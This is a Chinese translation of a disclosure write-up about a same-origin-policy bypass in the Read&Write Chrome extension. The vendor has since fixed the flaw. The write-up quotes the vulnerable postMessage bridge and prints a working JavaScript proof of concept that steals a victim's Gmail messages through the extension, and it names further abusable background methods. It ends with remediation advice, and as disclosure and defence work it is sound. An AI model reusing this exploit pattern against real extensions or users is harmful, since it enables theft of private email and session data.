本文为2018年十大网络黑客技术题名文章,欢迎来读
摘要
由于常规网页在传递消息的过程中缺乏正确的检查,所以这些网页中的Chrome扩展程序均可以调用后台页面的API。这些API对一些危险的操作并没有进行过滤,然而这些操作不能由互联网上的网页进行调用。例如,后台API可以调用“thGetVoices”
方法,并提供由扩展名进行检索的URL以及通过“postMessage”
方法返回的响应。通过此调用,攻击者可以使用受害者的身份会话进行劫持以从其他网站读取数据。为了验证我的设想,我创建了一个漏洞利用程序,在安装了扩展程序后,我成功的窃取并打印出所有用户的电子邮件。这并不是Gmail中的漏洞,而是使用此漏洞而产生的漏洞利用示例。texthelp
在下一个工作日对其进行了修复工作。因此,最新版本的扩展程序不会受到此问题的影响。他们将进一步加强代码库的编写工作。
漏洞利用过程
Read&Write
谷歌扩展程序使用脚本“inject.js”
将自定义工具栏注入各种在线文档页面,例如Google Docs。 默认情况下,此内容脚本将注入所有HTTP
和HTTPS
源。 扩展的清单中的以下摘录证明了这一点:
...trimmed for brevity...
"content_scripts": [
{
"matches": [ "https://*/*", "http://*/*" ],
"js": [ "inject.js" ],
"run_at": "document_idle",
"all_frames": true
}
],
...trimmed for brevity...
在“inject.js”文件中,有一个事件监听器,用于通过postMessage
并使用内容脚本注入的网页来发送消息:
window.addEventListener("message", this.onMessage)
这会在网页窗口的postMessage
上调用“this.onMessage”
函数。 以下是此功能的代码:
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
在上面的代码片段中,可以看到该函数将通过“chrome.extension.sendRequest
”将所有收到的postMessage
消息传递给后台页面。 此外,对这些消息的响应将传递回“onMessage”
函数,然后传递回网页。 这构造了一个代理,允许常规网页将消息发送到读写后台页面。
Read&Write
有许多后台页面,可以在扩展名清单的摘录中看到:
...trimmed for brevity...
"background": {
"scripts": [
"assets/google-analytics-bundle.js",
"assets/moment.js",
"assets/thFamily3.js",
"assets/thHashing.js",
"assets/identity.js",
"assets/socketmanager.js",
"assets/thFunctionManager.js",
"assets/equatio-latex-extractor.js",
"assets/background.js",
"assets/xmlIncludes/linq.js",
"assets/xmlIncludes/jszip.js",
"assets/xmlIncludes/jszip-load.js",
"assets/xmlIncludes/jszip-deflate.js",
"assets/xmlIncludes/jszip-inflate.js",
"assets/xmlIncludes/ltxml.js",
"assets/xmlIncludes/ltxml-extensions.js",
"assets/xmlIncludes/testxml.js"
]
},
...trimmed for brevity...
虽然有许多背景页面可以监听消息(以及许多通过这些消息调用的函数),但我们将主要研究于一个可进行利用的示例。 以下是文件“background.js”
的摘录:
...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
...trimmed for brevity...
上面的代码片段显示,当“chrome.extension.onRequest
”侦听器被一个事件触发时,其“method”
被设置为“thGetVoices”
,“type”
设置为“1757FROM_PAGERW4G”
,将执行该片段。 如果事件的“payload.refresh”设置为字符串“true”,则XMLHTTPRequest
将使用GET触发“payload.url”
中指定的URL。 在XMLHTTPRequest
完成,状态代码为200时,将使用请求的responseText
生成响应消息。
通过使用此调用,我们可以使用URL向后台页面发送消息,该URL将与HTTP响应正文一起回复。 此请求将使用受害者的cookie
执行,因此将允许网页上的payload窃取来自其他Web的内容。 以下payload是一个利用此功能的示例的例子:
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
上述漏洞利用代码进行攻击,并可以通过此漏洞读取跨源响应。在这种情况下,我们提供了Gmail的“简单HTML”版本的端点。上述payload可以托管在任何网站上,并且可以读取Gmail
的用户的电子邮件。这个过程通过postMessage
发出带有相应payload的消息并为响应消息添加事件监听器。通过链接通过“exploit_get()”
函数返回的JavaScript Promises
,我们可以从用户通过身份验证的任何站点窃取数据(假设可以通过HTTP GET访问而无需任何特殊标头)。
上面的示例引用了“thGetVoices
”后台方法进行调用,但这只是调用后台页面API时出现的漏洞之一。除了使用此调用之外,还可以利用以下漏洞的其他一些示例:
“thExtBGAjaxRequest”
,攻击者可以使用它来执行带有参数的“application/x-www-form-urlencoded; charset = UTF-8”
类型的任意POST请求并读取响应正文。
“OpenTab”
允许攻击者打开网页中的选项卡操作。
补救措施
此漏洞为一个常见的安全隐患,通常会在扩展程序处出现。 为了更灵活地使用Chrome扩展程序API,许多扩展程序将构建一个桥接,以允许从常规Web上下文中调用后台页面。 然而许多Chrome扩展程序
开发人员忘记验证邮件的来源,所以在这种情况下,理想的操作可能是将大部分逻辑移动到内容脚本中,而不是通过postMessage
进行调用。通过验证isTrusted
属性触发的事件侦听器进行调用。 通过这种方式,可以确保所有呼叫都由用户操作触发,而不是由攻击者伪造。
本文为翻译稿件,来自:[https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html](https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html)
没有评论